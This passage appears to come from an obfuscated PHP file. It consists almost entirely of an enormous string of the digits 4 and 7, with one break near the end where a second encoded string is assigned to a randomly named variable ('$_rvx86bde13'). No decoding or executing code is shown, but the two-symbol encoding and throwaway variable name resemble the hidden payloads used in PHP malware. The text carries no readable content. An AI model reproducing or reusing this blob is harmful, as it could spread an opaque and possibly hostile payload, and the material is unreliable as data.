44444474444444444444447444444474444444444444447444444444444444444444444444444444444444444474444444444444447444444474447444744444444444744474447444744444447444744444444444744444444444444474447444444444444444444444444444744474444444444444444444444444444444444474444444444444447444444474444444444444447444444444444444444474444444444444444444444474444444444474444444444444444444444474444444744444444444444444444444444444444444444444444444444474444444744444444444444474444444744474444444744444444444444444447444444444444444444444444444444474447444744444447444744444444444444444444444744444447444444474447444444444447444444444444444744444444444444444444444744444444444444444444444444444447444444444444444444444447444444474444444444444444444744444447444744444444444744444447444444444447444744444444444444474444444744444444444744474447444444444447444444444444444444444444444744474444444744444444444444474444444444444447444444444447444744444444444744444444444744444447444444444444444444474444444744474444444444474444444444474447444744444447444744444444444444444444444444444444444744444444444444444444444444444444444444444444444444444444444444444444444444444447444444444444444444474447444444444444444444444444444444474444444444474447444444444444444744444444444444444447444444474444444744444447444444474444444444444444444444444444444444444444444444474444444744444444444744444447444444444447444444444444444744444444444744444444444744444444444444444447444444444447444744474447444744474447444744474444444444444444444444474444444444444444444444474444444444474444444444474444444744444444444744444444444744444444444444444444444744444444444744444444444444444444444444444444444444444447444444444444444444444447444744474444444744444447444444444447444744444447444744474444444444444447444744444447444444444444444444474447444444444444444744444447444444444444444444444447444444474444444444444444444444444444444444474444444444474447444444474444444444474444444744444444444444444447444444474444444444444444444444444444444444474447444444444444444444444444444444444444444444444444444444444444444444444444444444444447444444474444444444474447444444444444444444444444444444444444444444444444444444444447444744444444444444444444444744444444444444444444444444474447444444474444444444474444444444444444444744444444444444444444444444444444444744474444444444474444444744444447444744444444444444474444444444444447444444444447444744474444444444444444444744444444444444444447444444444447444744474444444444444447444444444444444744444444444444444447444744444447444744444444444444474444444444444447444444474444444444444444444444444444444444444444444744444447444444444447444444444444444444444444444444444444444444444447444744444444444444474444444444474444444444444447444444474444444444474444444744474447444444444444444444474444444744444447444444444447444444444444444744474444444444474444444444444444444444474444444744444444444444444444444444444444444444444447444444474447444444444444444744444444444444444444444744444444444444444444444444444444444744474444444744444444444444444447444744444444444444444444444444444444444744444444444444444447444444444447444444444444444744444444444444474444444444474444444444474444444444444447444744474444444744474444444444444444444444474444444444474444444444474447444744444447444744444447444444444447444444444444444444444447444444444444444744444444444444444447444444474447444744474444444744444447444444444444444444444444444444474444444744474447444744474444444744444444444444444444444444444447444744444444444444474444444444444444444444444444444444444447444444444444444444444444444444474444444444444444444444444444444444444447444744444447444444444447444744444447444444444447444444444447444444474444444444444444444444474444444744444444444444444447444744444444444444444444444444474444444444444444444444444444444444444444444444474447444444444444444444444444444444444447444444444444444444474444444744444447444744444447444744444447444444444447444444444444444444474444444744474444444744444444444444444444444744444447444444474444444444444444444744444444444444444444444444444444444444444444444444444444444444444444444744444447444444444447444444444447444444474447444444474447444444444444444444444444444444444444444444474447444444444444444444444444444444474447444744444444444444474444444744474447444744474444444444444447444444444444444744474447444744474447444444474444444444474444444744444444444444444444444444444444444744474444444744444444444444444444444444444444444744444447444744444447444744444447444444444444444444444444444744474444444444444444444444444444444444474444444444444447444444444447444444444444444744444447444744474444444744444444444444444444444744444447444444444444444744444444444744444444444444444447444444444444444744444447444444474444444444444447444744444444444444444444444744444444444444474444444444444444444744444444444444444447444744444444444444474444444444444447444444474447444744444444444744444444444444444444444744444444444444444444444444474444444744474444444444444444444444444444444444444444444444474444444444474447444444474447444444444444444744444444444444444444444444474447444744444447444744444444444444474444444444474444444444444444444444444447444744474444444744444444444444444447444444444444444744444444444444444444444444444444444444444444444444474444444444444444444444444444444744444444444744474444444444444444444444474444444444474444444444444444444444444444444744444447444444444447444744444447444744444444444744474447444444474444444444474444444744444444444444444444444744444444444744444444444444474444444444444444444744474447444444444444444444474444444444444444444444474444444444444447444444444444444444444444444444444447444444444444444444474444444444474444444744444444444444444444444444444444444444444444444444444444444444444444444744474444444444474444444444474444444444444444444444444444444744444447444744474444444444474447444744444447444444474444444444444444444444474444444444444444444744444444444744444444444444444444444744444447444744474444444444444447444444474444444444444447444744444444444444474444444444444444444744444444444444444444444444444447444444444444444444444444444444474447444444444444444444444444444444444444444444444444444444474447444444444444444444474447444444474444444744444447444444474444444444474444444444444444444744444447444744474444444444444444444744474444444444444444444444444444444444444444444444474444444744444444444744444444444744444447444744444447444444474444444444444444444444444447444744474444444444444444444444444444444744444444444744474447444744444444444444474444444444444444444444444444444444474447444444444444444444444444444444474444444444474444444444444444444744444444444444444444444444444447444444474444444444444444444444444447444444444444444444474447444444444444444444444444444744444444444444444447444744444444444744444444444744444444444744444444444444444444444444444447444444444447444444474447444444444444444444474447444444444444444444444444444744444444444444444444444444444444444444474444444444444444444444444444444444444447444444474444444444444444444744444447444444444444444444444444444444444447444744444444444744474444444444444444444444474444444444444444444744444447444444444444444444444444444744444444444744444447444744444444444744444444444744474444444444474444444444444447444444474444444444444444444444444444444744474444444444444444444444444444444444474444444744444444444444444447444744444447444744444444444444444444444444474444444444444444444444474444444444444444444444444444444744444444444744444444444444444444444744474444444444444444444444474444444744444444444444474444444444444444444444444444444744444444444444444444444444444444444744474447444444444444444444474444444444444447444444444444444744474444444444444444444444444447444744444444444744444447444444474444444444444444444744444444444444444447444744444444444744444447444444444444444444444444444444474444444744444444444744474447444444444447444744444444444444474444444444444444444444444444444744444447444444444444444444474447444444444444444444474444444744444444444444444444444444444447444744474444444444444444444444444444444444444444444744444447444444474444444444474444444444444444444444444444444444474447444744444447444744444444444444444444444444444444444444444444444444444444444444444447444444444447444444444444444744444444444744444444444444444444444444444444444744474444444444444444444444444444444744444444444444444447444744444444444444444444444444444447444444474447444744474444444444444444444744444444444444444444444744474444444444444444444444474444444744444444444444444447444444444447444444444444444444444444444444444444444444444444444444444444444444474444444744444447444444444444444444444444444744444444444444444444444744474444444744444444444744444444444444444444444444444444444744444444444444444444444444474444444444444444444444474447444444474447444444474447444444444444444444444444444744444444444444474444444744444447444744474447444444474444444444444444444744474447444744444444444444444447444444444444444444474444444444444444444444444444444444474444444744474444444444474444444444444444444744444447444444444444444444474444444444444444444744444447444744474444444444444444444744444444444444444444444744444444444444474444444744474444444744474444444744444447444444444444444444474447444444444444444444474447444444444444444444444444444444444444444744444444444744444447444744474447444444444447444444444444444744474444444444444447444744444447444444474444444444474444444444444447444744444444444744444444444444444444444444444444444444444444444444444444444444444444444444474444444744444444444744474444444744444447444744444444444744444444444444444444444444444447444444444444444444444444444444474444444744444447444744474444444744444444444444444447444744444444444444444444444444444444444744444444444744444444444744444444444444444444444444444444444744444444444444444444444744444444444444444444444744474444444444444444444744444444444744444447444444474447444744444447444444444444444744444444444444444447444744474444444444444444444444444447444444444444444444444447444444474447444444444444444444474447444744444447444444444444444444444444444444444444444444444444444744444447444744474444444444444444444444444447444444444444444444444447444744444444444444444444444744444444444444444444444744444444444744444444444444444444444744474444444444444444444444444444444444444447444444444447444744444444444444444447444444444444444744444444444444474447444744444444444444444444444744444444444444444444444444444444444444474447444744444447444744444444444444444447444744444444444444444447444444444444444444444444444444474444444444474444444444444444444444444444444744444447444444444444444444444444444744444444444744444444444444444447444444474444444444474444444444444444444744444444444744444444444444444444444444444444444444444444444744474444444444474444444744444444444744444444444444474444444444444447444444444447444444474444444444444444444444444444444444474444444744444444444744444444444444444444444444474444444444444444444444444444444444444444444744444444444444474444444744474444444444444444444444444444444744474447444444444444444444444444444444474444444444444447444444474444444444444444444444444444444744474444444444444447444444444444444444474447444444444447444744444444444444444444444444444444444444474444444444444444444444444444444444444444444444444447444444444447444444444444444444444444444444444444444444444444444444444444444744444447444444444444444444444447444444444444444744444444444744444444444444444444444444444447444444444447444744444444444444474444444444444444444444444444444744444447444744474447444744444447444444444444444744444444444444444444444444444447444444444444444444474444444744474447444444444447444444444444444444444444444444444444444444444444444444474447444444474444444444444444444444444444444444444444444444444444444444444444444444444447444444474444444444474444444744444444444444474444444444444447444444444447444444444444444744444444444444474444444744444444444744444444444744444444444444444444444444444444444444474447444444444447444444444444444444474444444744444447444444444447444444444447444444474444444444474444444444444444444444444444444444444447444444444444444444474447444444444444444444444447444444444444444744444444444444474444444744444444444444474444444444444444444444444444444444444444444444474444444444444444444444444447444744444447444444444447444444444444444444444447444444444444444444444447444444444444444444474447444444444444444744444447444444444444444444444447444444444444444744444447444444444444444444444444444744444444444444444444444444444447444444444447444444474444444444444447444444444444444444474444444444444444444444444447444744444447444744444444444744444444444444444444444744444444444444444444444444444444444444444447444444444444444444444444444744474444444444444444444444444444444444444444444444474447444444444444444744444444444444474444444444444444444444474444444444444447444444444444444444444444444444444444444744444447444444474447444444444444444444444447444744474444444744444447444444444444444744444444444444444447444444444444444744444444444444444444444444444444444444444447444744444444444744444444444444444444444444444444444744444444444744474444444744444447444744444444444744444444444444444447444744444444444444444444444444474444444744474444444444444447444444444444444444444444444444444447444444444444444444474444444744444444444444444444444744444444444744444444444444444444444444444447444744444444444444474447444744474447444444444447444444444444444444444444444444444447444744444444444444444447444744474444444444444444444444474444444444444444444444444444444444444444444444444444444444444444444444444444444744444444444444444444444444474447444444444447444444444447444444474444444444444444444444444444444444444447444444444444444444444447444444444444444444474444444444444444444444444444444444444447444744444447444744444444444444474444444744474444444744444447444444444444444444444444444744444444444444444444444444444444444444444447444444474447444444444444444444444444444744474447444444474447444744444444444744444444444744444444444444444444444444444444444444474444444444444447444444474444444744444444444744444444444444444444444444444444444444474447444444474444444744474447444444444447444744444444444444474447444444474444444444444444444744444444444744474444444444444447444744444444444444444447444744444444444444444444444744474444444444444444444444444447444444444447444744444447444744474444444444474447444444444444444744444444444744444447444444444447444444444444444444474444444444474447444444444447444744444444444444444447444444474444444444444444444744444447444444474447444444444444444444444447444444444444444444444444444744444444444444444444444444444444444744444444444444444447444444474444444444474444444444444447444444474444444444474444444444444444444444474444444444444447444444444444444744444447444444444444444744444444444444444447444444474444444444474447444444444444444444444444444444474447444444444444444444444444444744444444444744444444444444444447444744444444444744474444444744444444444444474444444444474444444744474444444444444444444744474444444444444447444444474444444444444447444744444444444744444444444444444447444444474444444444444444444444444444444444444444444744444444444444444447444444444444444444444447444744444444444744444444444744444444444444474444444444444444444444444447444444444444444444444444444744444444444744444444444744474444444444444447444444444444444444444447444444444444444744474444444444444444444744444444444744444447444444474444444444444444444444444444444444444444444744444447444444444444444444444444444444444447444444444447444444444444444444474444444444444444444444444444444744444444444444444444444744444444444444444447444744444444444444474444444744444444444744474444444744444444444744474444444444474447444744444447444444444447444444444444444444474444444744444447444444444444444744474447444444444447444444444444444444444444444444444444444444444447444444474444444744474444444744474447444444444444444744444444444444444444444744444444444744444444444444474444444744444447444444444444444444444444444444444444444744444444444444444447444444474444444444444447444444444447444444444444444744444444444444474447444444444444444744444444444444444444444444444444444744444444444444444444444744474444444744444444444444444444444744474444444744444447444444444447444744474444444444444447444744444447444744444444444444444444444444444444444744474447444444444444444744474444444444474447444444444444444444444444444744444444444444444444444444444444444444474444444444474447444744444447444744474447444444444447444444474444444444444444444444444444444444474444444444474444444444444447444444444444444744444444444444444447444744474444444444444444444444474444444444444444444444444444444744444444444444474447444744444444444444444447444744444444444444474444444444444444444744474444444444474447444444474444444744444444444444444444444744444444444444444444444444444444444444444444444444444444444444474444444444444444444444474444444444444444444744444444444444444444444444444444444444444444444444474447444744474447444744474444444444444444444444474447444444444447444444474444444444474447444444444444444444444447444444444444444444444444444744474447444744444447444444444444444444444447444744474447444444444444444444444444444744474447444444444444444744444444444744444444444444444447444444444447444444444447444444444444444444444444444444444444444444444444444444444444444444444447444444474444444444444447444744474444444744474444444444444447444444474444444744444444444744444444444444444447444444444444444744444444444444444444444444474444444744444444444444474447444444444444444444444444444744444444444744444447444444444447444444444444444744444444444444444444444744474444444744444444444444444444444744444447444444444447444444444444444444444447444744444444444744444444444744444444444444474444444444444447444444474444444744444444444444474444444444444444444444444447444444474447444444474444444444444447444744474447444444444447444444444444444444444444444444444447444444444444444444444444444444444444444444474444444444444447444444474444444444474447444444444444444444474447444744444447444744444444444744444447444444474447444744444444444744444444444444444444444444474444444444444447444444444444444444444444444744474447444744474444444744474447444744474447444444444444444744444444444444444447444744474444444744444447444444444444444444474444444444444444444744474444444444444444444444474444444744444444444444444444444444444444444444444444444444444444444444444447444444444444444444444444444444444444444744444444444444444447444444444444444444474444444444444444444444444447444744444444444444444444444444474444444444474447444444444447444444444444444744444444444444444447444444444444444444474444444444474447444444474447444444444444444444444444444444474444444744444444444744444444444744444444444444474447444444474447444444444447444444474444444744444444444744444444444444444444444444444444444744474444444444444444444444444444444444444444444444474447444744474447444444444447444444444444444444444444444444474444444744474447444444474444444444444444444744474447444744444444444744444444444444444447444444444444444444444444444444444444444444444444444444444444444444474444444444444447444744474444444444444444444744444444444444444447444444474444444444444444444444444444444444444447444444444444444444444444444744444444444444474444444744474444444444444444444444444447444744474444444444444447444444474444444444444444444444444444444444444444444444444444444444444444444744444444444744444444444444444444444444444444444444444444444444474444444444444444444444444444444444444444444444444444444744444447444444474447444444444444444444474444444444444447444444444447444444444447444444444444444444474444444744474444444444474447444444474444444444444447444444474447444444474444444444444447444744474444444444444444444444444444444744474447444444444447444444444447444444444444444744444444444444444444444744444447444744444444444744444444444444444444444744444447444744444444444444444444444444444447444444444444444444474444444444444444444444474447444744444444444444444444444744444444444444444447444744444447444444444444444444474447444444474444444444474444444744444444444444444444444444474447444444474444444744444444444744444444444444444444444444444447444444474444444444444444444444474444444744444447444444444447444744474444444444474444444444444444444444444444444444444444444444444447444444444444444744444444444444444444444444444444444744444444444444444444444444444447444444474444444444444444444444474447444444444444444444474447444744444444444744444444444744444447444744474444444744444444444444474447444444444444444444474444444444444444444744474444444444474444444444474444444444474447444444444444444444444444444444474444444444444447444444444447444444474444444444444447444444474447444744444447444444444444444444444444444744444447444744474447444444444444444444444444444444444444444444444447444444444447444444444444444444444444444444474444444744444444444444444447444744444444444444474444444444474447444444444444444444474444444444444444444444444444444444444444444444474444444444444447444444444444444444444447444444444444444444444444444744444444444444444444444444444444444444474444444444444444444444444444444444444444444744474444444444444444444444444444444444444444444444474447444744444444444444444444444444444444444444444447444444444447444444474444444444474444444444444447444444474444444444444444444444474444444444474444444444444447444444444444444444444447444444474444444744444447444444444444444444444444444444444444444444444444444744474447444444444444444744444444444444444444444444444444444744474444444744444447444444444444444444444444444444444444444744444444444444474447444444474444444444444444444444474444444444444447444444444444444444474444444444474444444444474447444444444444444444474447444744444444444444474444444444444444444444444444444744444444444444444444444744444447444444444444444444474444444444444444444444444447444444444444444444444447444444444444444444474447444444444447444444444447444744474447444744444444444444474444444744444447444444444444444744474447444444444444444444474444444444444444444444444444444444444444444444444444444744444444444444444444444444474444444444444444444444444444444444444444444744444444444444444444444744444444444444444444444444444444444444474444444444444444444444444447444444474444444444444444444444444447444444444444444444444447444744444447444444444447444744444444444744474447444744444447444444444447444444444444444444444444444444444444444444474447444744444447444444444444444444474444444444474444444444444444444444444444444444444444444444444444444444444444444444444444444444474444444444444444444444474444444444444444444444444444444444444447444444474447444444474444444744444444444444444447444444444444444444444447444444444444444744444444444444444444444444444444444444474444444444474444444444444447444444444447444444444444444444444447444444444444444744444444444444474444444444444444444444444447444744444444444444444444444444444447444444444447444744444447444744474447444444474447444744444447444744444447444744474444444444444444444444444447444444474444444744444444444444444444444444474444444444444444444744474447444744474444444444444444444444444444444444444447444444474444444744474447444444444444444744474447444744444444444444474444444744444444444444474444444444474444444444444447444744444447444444444444444444444447444744444447444444444447444444444444444444444444444744444444444444444447444444444444444744474444444444444444444444444444444444444447444444444447444444444447444444474447444444444444444444474444444444474444444744444444444444444444444444444444444444444444444444474444444444444444444444444447444444444444444744474444444744444444444744444444444444474444444444474444444744444444444444444444444744444444444444444444444444474444444744444444444744444447444444474444444444444444444444444444444444444447444444444444444444444444444744444444444444444444444444474444444444444447444444444444444744444447444444444444444444444444444444444444444444444444444444444444444444444444444444474444444444444444444744444444444444444444444444474444444444444444444444444444444444474444444444444444444444474444444444474444444444474444444444444444444744444444444744444444444444444444444444474444444744474447444444444444444744444447444444444447444744474444444744474444444444474444444444474444444744444444444744474444444744444444444444474447444444474444444444474444444444444444444444444444444444444444444444444447444744444444444444444444444444444447444444444444444444444447444444444444444444444444444444444444444744444444444444474444444444444444444444444444444744444444444444444444444444444444444744444444444744444444444744474447444444444447444444444447444744444444444444444444444744444444444744444444444744444444444444474444444444444447444444444444444444444444444444444444444444444444444744444444444444444447444444444444444444444444444444474447444444444444444444444444444444444444444444474444444444474444444444444447444444444444444744444444444444444444444444444444444744444444444444444444444744474444444444444444444444444447444744444444444444444447444444444444444444474444444444444444444444444444444444444444444444474444444444474444444744444444444744474447444744444447444444444444444444444444444444474444444444444444444744474444444444474447444444444444444444444447444444474444444444444444444444444447444444444444444444444444444444444444444444444444444444474444444444444444444444474444444744444444444444444444444444474444444744444447444444474444444444444444444744444444444444444447444444474444444444444444444444474444444444444447444444444444444444444444444744444444444444474444444444474444444744444447444444474447444744474447444444444444444744444447444444474444444744474447444444474444444444444444444744444447444444444444444444444447444744444447444744474444444744444444444744444447444444474444444444444444444444444447444444444444444744444447444444444444444444444444444444474444444444474444444444474447444444444444444444444444444444474444444444444444444444444444444444444444444444474444444444444444444444444444444444444444444444444444444444444444444744444444444744444444444744474444444444444444444744444447444744444444444744444447444744474444444444474444444444444444444444444447444744444447444744474444444444444444444444474444444744474444444744444447444444474444444444444447444444474444444744444444444444444444444444444447444444444444444744474444444444444444444444444444444444444447444444474444444744474444444444444444444744474444444444444444444744444444444744444447444444444447444444444444444444444444444744474447444444444447444444444447444744444447444744444447444744444444444444474444444444444447444444444444444444474444444444474444444444444444444444474444444744474444444444444447444444474444444444444447444744444444444444444444444444444444444444474444444744474444444444444444444744444444444744444444444444444447444444444444444444474444444444444444444444444444444444444444444744444447444444444444444444444444444744444447444444474444444444444444444444444447444444444444444444474447444444474447444744474444444444444444444444444444444744444444444744444447444444444444444444474444444744444444444444444444444744474444444444444444444444444444444444474447444744474447444444474444444744444447444444474444444444444444444444444444444444444447444444444447444744444444444444444444444444444447444444474444444444444444444444444444444744474444444444474447444444444447444444444447444444474444444444474444444744444447444444444447444444474447444444474444444444444444444444474444444444444444444444474447444444444447444444444447444444444444444444444444444744444444444444474444444744474447444444474447444444444444444744444444444444474444444744444444444744474444444444474444444444444444444744444444444444474444444444444444444444444444444444474447444744444444444744444444444444444447444444444447444444474444444444444444444444444447444444444444444444444444444444474447444444474444444444444447444444444444444444444444444444444444444444444444444744474444444444444444444444474447444744444444444744444444444744444444444444444447444444444447444444444444444444474444444744444444444444444447444444474444444444474444444444444444444444444447444444444447444444444444444444474444444444474444444444444444444744444447444444444444444744444444444444474444444444444447444444444444444444444447444444444444444444444444444744444444444444444444444444444444444444444444444744444444444444444444444744474444444444444447444744444447444744444447444744444447444444444444444444474447444444444444444744444444444444444444444444444444444444444444444744444444444444444444444444474444444744444444444744444444444744474444444444474444444444444444444444444447444444444444444444444444444444444447444444474444444744444444444444474447444444444447444444444447444744474444444744444447444444444444444444444444444744444444444444444444444744444444444444444444444444444444444744444444444744474447444444444447444444474444444744444444444444444444444444474447444444444444444444474447444744444447444444474444444444444444444444444447444444444444444744444447444444444444444444474447444444444444444444444447444744444444444744444444444444444444444744444444444744474444444444444444444444444447444744444447444744444444444444474444444444444444444444444447444744474444444444474444444444444444444444474444444444474447444444444444444444474444444444474444444744444444444444444447444744444447444444444444444444474444444444474444444444444444444744444447444444444444444444444444444444474444444444444444444444444444444444444444444444444444444444444444444444474444444744444447444744444444444444444444444444474444444444444444444444444444444444444444444744444447444444474447444444444444444744444447444444444444444444444447444444474444444444444444444444474447444444444447444444444444444744444444444744474447444744444444444444444444444444444444444444474444444744444444444744444444444444444447444444444444444744474444444444444444444444474444444444444444444444444444444744444444444444474444444444474447444444444447444444444447444444444447444744444444444744444447444444444444444444444447444444444447444444444444444444444444444444444444444444444444444444474444444444444444444444444444444444444444444444444444444444444444444444444444444744444444444444444444444444444447444744444444444444474447444444444444444744444447444744444444444444474444444744444444444444444447444744444447444444444444444744444447444444444447444444444444444444474447444444444447444444444444444744444444444444444444444444474447444444444444444444444444444444444447444444474444444444444444444744444444444444444447444444444444444444474444444744474444444744444447444744474447444444444444444744444447444444444444444444444447444444474444444744474444444444444444444444444444444444474444444744444444444444444444444744444444444444474444444744444444444444444444444444444444444744474444444444474444444444474444444744444444444444444444444744444447444444444444444444444447444444444447444444474447444744474447444444474444444444474444444744444444444444444444444744474447444744474444444444444447444444444444444744444444444444474444444744474444444444474447444444444444444444444444444444474444444444444447444444444447444444444447444444444447444744444444444444444444444444444444444444444444444444444444444744444447444444444444444444444447444744444447444444444447444444444444444444474447444444474447444444444444444444444444444444444444444444444444444444444444444444444444444444444444444744444444444444474444444744444444444444444447444444444444444744474444444444474444444444474447444444444444444444444444444744444444444444444447444444444447444744444447444444474444444444444447444444474444444444474444444444474444444744474444444444444444444444444447444444474444444444444444444744444444444444444447444444444447444444444444444744444447444444474447444444474444444444474444444744474444444444444444444744444447444444444444444444444444444444444444444444444444444744444444444444444447444744444447444444444444444444474444444444444444444444444447444444444444444444444444444744474444444744444444444444474444444444474447444444444444444444474447444444444444444444444444444444444444444444444444444744444444444444444444444744474447444444444444444444474444444444444447444444444444444744474447444444444444444444444444444444474447444444444447444444444447444444474444444444444447444744474444444444444444444444474444444444444444444444444444444444444444444444444444444444474444444444444444444444444444444744474444444444474444444444444444444444474444444444474447444744444444444444474444444444444447444744444444444444444444444444444444444444444444444444444444444744474444444444444447444744444447444444444444444444474444444444474447444444444444444444474444444744444444444744474444444744444444444444444444444444474447444444444444444744444444444444474444444444444444444444444444444444444447444444444447444744444444444444444444444744444447444444444447444444444444444744444444444444444444444444474444444444444447444444474447444744444447444744444444444444444444444444444444444444474447444744444447444444444444444744474447444744474444444744444447444744444444444444444447444444474447444444444444444444444444444444474444444744444444444744444444444444444444444744444447444444444444444444474444444444444444444444444447444744444447444444444444444444444444444744444444444444444444444444444444444444474444444744444444444744474447444444444444444444474444444444444447444744444447444444444444444444444444444444474444444744444447444444444444444744444444444444474444444444444444444444444444444444474444444744474444444444444444444444474444444444444447444744444447444444444444444444444447444444444444444444444444444444444447444444474444444444444444444744444447444444444447444444444444444444444444444744444447444444444444444744444444444444474444444444474444444444444444444444474447444444444444444744474447444444444444444444444444444444444444444444474444444444444444444744444444444444474444444444474444444444474447444744474444444444444447444444444444444444474444444744444444444744444447444444444444444744444444444444444447444744444447444444444447444444444444444444444447444744444447444444444444444444444444444444444447444444444444444444444444444444444444444744444447444444474447444444474444444444444447444444474444444444474444444744444444444444444444444444444447444444444444444444444444444744444444444444474444444444444444444744474444444444474444444444444447444444474444444744474447444744474444444444474444444444444444444444444447444744444444444444444447444444444447444444474447444444444447444444444444444444444444444744474444444444474444444744444444444444474444444744444444444444444444444444474444444444444444444444444444444444474444444444444444444444444447444444444444444444444447444444444444444744444444444444444444444744444444444444444444444444444447444444444444444444444444444744444444444744474447444444444447444444444447444444474444444444474444444444444444444444474444444744474444444444474444444444444444444744444447444444444444444444444447444444474444444744444444444744474447444444444447444444474444444444444447444444474447444444474444444444444447444444474447444744444444444744444444444444444444444444444447444744444447444744444444444744474444444444444444444444444447444444444444444444474447444444444444444444474444444444444444444444444444444444474444444444444444444444444444444744444447444444444444444444444444444444474447444444474444444744474444444444444447444744474444444444444444444444444447444744444447444444444444444744444444444744444447444444444444444444444447444444444447444444444444444444444444444744444447444444444447444444444444444444444447444744474444444744474447444444444444444444444447444444444444444744444444444444444444444444474444444444444444444444474444444744444444444444444444444744474444444444444444444444444444444744444447444444444444444444474447444444444447444744444447444744444444444744474444444444444447444744444444444744474444444444444447444444474444444744444444444444444444444444444447444744474447444444444447444444444444444444444444444444474447444444474444444444444444444444444444444444444444444444444444444444474444444444444447444444474447444444444444444444444444444744444447444444444444444744474444444744444444444444444444444744474444444444444444444444444444444444474444444744444444444444474444444444444444444744474444444444444447444744444444444744474444444444474447444744474447444444444444444444444444444444474444444444444444444744444444444444474444444744444444444444444447444444444447444444444447444444444447444444474447444444444444444444444444444444444447444444474444444744444447444444444444444444444444444444444447444744474444444444444444444444474444444444444444444744444444444744444447444444444444444744474444444444444444444444444444444444444447444444444444444744444447444444474444444444444447444444474447444444444444444444444444444444474444444444474444444444444444444444444444444444474444444444444447444444444444444444474444444744444444444444444444444744444444444744474444444444444444444444474444444744444447444444444447444744474444444444444447444444444447444444474444444444444444444444444444444444444444444444474444444444474444444444444447444444444447444444444444444444444444444444474444444444474447444444444447444444474444444744444444444444474444444444444447444744474444444744444444444444444444444444474444444444474444444444474447444444474444444744444444444744444447444744474444444444444447444744444444444744444444444444444444444744474447444444444444444444444444444444444444444444474444444744444444444444444444444444444444444744444444444444444444444744444444444444444444444444474447444444444447444744444444444444444447444444444444444744444447444444474444444444444447444444444444444444474444444444474447444444444444444744444447444444474447444744474444444444444444444744444444444444444444444744474447444444444444444744444447444444474444444444444444444444444444444444444444444444444444444444444447444444444447444444444447444444444444444744444444444444444444444444444444444744474444444744474444444744474444444744474444444444474444444744444444444444444444444444444444444444474444444444444447444444444444444444474444444444474444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444447444444444444444744474447444444474444444444444447444444474447444444444447444744444444444444474447444444474444444444444444444444444444444444444444444444474447444444444444444444444444444744474447444444444444444744474447444744444447444444444444444444474444444444474444444444444447444444474444444444444447444444444444444744474444444444444444444444444444444744474447444444474447444744444444444444444447444444444444444444474444444744474444444444444447444444474444444444444447444444444444444744444444444444444444444444474444444444444447444444474444444444474444444444444444444444444444444444474444444744474444444444444444444444474447444744444447444744474444444444444444444444474444444444444447444444444444444444474444444444474444444444444444444444474444444444474447444444444447444744474447444744444444444444444444444744444444444444444447444744474444444444444447444744444444444444444444444744444444444444444444444744444444444444444444444744444444444444444444444444474444444444444444444444444447444444444447444444444444444444474447444444444447444444444444444444444444444444444447444444444444444444444444444444444444444444474444444444444447444744444444444444444444444444444444444444444444444444474444444444474444444444474444444444444444444744474444444444444444444444444444444444444444444444474447444444444444444444444444444444474444444444444444444744444444444444";
        $_rvx86bde13 = "44444444444444444444474447444444474447444744444444444444444444444444444447444444474444444444444447444444444444444444444444444744444444444444444444444444444444444444444444444444444444444744444444444444474444444444474444444444474447444444474444444744444447444444444444444444444447444744444444444744444444444444444444444444444444444744444444444444444444444444474447444444474447444444444444444744444447444744474444444444444447444444444444444744444447444444444444444744444444444444444444444444474444444444474444444444474444444744444444444444444444444444444444444744444444444444444444444444444444444444444444444444474444444744444444444444444444444444474447444744444447444444474447444444474447444744444444444744444447444744444444444444474444444444444444444444474444444744444444444444444444444444444447444444474444444444444444444444444444444444444444444444444444444444474444444444444444444444444447444444444447444744474444444444474444444444444444444744444447444744474444444444444444444444444444444744444447444444474447444444444444444444444444444444444444444444444444444444444444444744474447444444444444444444444444444744474444444444444444444744474444444444444444444444444447444444444447444444444444444744444444444444444444444744474444444444444447444744444444444744444447444444444447444444474447444444444444444444444447444444474447444444444447444444444444444744474444444444444444444444474444444444444447444444474444444444474447444444444444444444474444444444444444444444444444444744444444444744474447444444444444444444474444444444444444444444444444444444474447444444474444444444444444444444444444444444444447444444474444444444444447444444444444444444444444444744444444444444444447444444444447444744444444444744444444444444474447444444474444444444444447444444444444444444444444444444444444444744444447444444444444444444474447444444444444444744444444444444444444444744444444444444444444444444474444444444474447444744444447444444474444444444444444444444444444444744474444444444444444444444474444444444474444444744444447444444474444444744444444444444474444444744474444444444444444444744444444444444474447444444474444444744474444444444444447444444474444444744444444444444444447444444474444444444444447444744474447444444444444444744474444444444444447444744474444444444444444444744444444444444474444444444444444444744444444444444444444444744474444444444474447444444444447444444474444444444444444444744444444444444444447444444474444444444474444444744444444444444444444444444474444444744444444444444444447444444444444444744474444444444444447444444444447444444444447444744444444444444444447444744444444444744444444444744474447444444444447444444444447444444444447444744444444444444444447444444474444444444444447444444444444444444474444444444474444444444444444444444444444444444444447444444444444444444474444444444444447444444444444444444444447444444444444444444444444444744444444444444444444444444474444444444444444444744444444444444444447444744444447444444444444444444474444444444444444444744474444444444444444444444474444444744474444444444444444444444474444444744444444444744444444444444444444444744444444444444444444444744444444444744474444444444474444444744444444444444474444444744444444444444444447444444444447444444444444444444444447444444444444444744444447444444444444444444444444444444444444444744444444444444474444444444444447444444444444444744444444444744474444444744444444444444444444444444444444444744444444444444474447444444444444444744474444444744444444444744444444444444474444444444444444444744474444444444444444444744444444444444444447444744474447444444444444444444444444444444474444444444444444444444444447444444474444444444444444444744444447444444474444444444444447444444474444444444444444444444444444444444444444444444444444444444444447444744474444444444444444444444444447444444444444444444444444444444474447444444444447444444474444444744444444444444474444444444474444444444474444444444474444444744444444444744474444444744474447444444474447444444444444444444444444444444444444444744444444444444444444444444444444444444444444444744444444444744444444444444444444444444474447444444444444444444444444444444474447444444474444444744444444444444474444444444474444444444444444444444444447444444444444444444444444444444444447444744444444444444474444444444444447444744444444444444444447444444444444444444444447444444444444444744444444444444444444444744474444444744444444444744444444444444444447444444444444444444444444444444444447444444474444444744474447444444474444444444474444444444444447444444444447444444444444444444444444444444444444444744444444444444444447444444474444444444474444444444474444444444444447444444444444444444474444444444444444444444444444444444444447444444444444444744444447444444444444444444444447444444444444444444444444444444444447444444444444444744444444444444474447444744444444444444474447444444474444444444474444444444444444444444474447444444444444444444444444444744444444444444444444444444444447444444444444444744444444444444444444444444474444444444474444444444444447444744474444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444744444447444444474447444744444444444744474447444744444444444444444444444444444444444744444444444744474444444444474447444444444447444444444444444444444444444444444444444744444447444744474447444444444444444444474447444744444444444444474444444744474444444444474447444444444444444444444447444744444444444744444447444744444444444444444444444744474447444444444444444444474444444444444444444744444444444444444444444444444444444444444444444444444444444444474444444744444444444444474447444444444444444744444444444444444447444744444444444444444447444444444444444444444447444444474444444444474444444744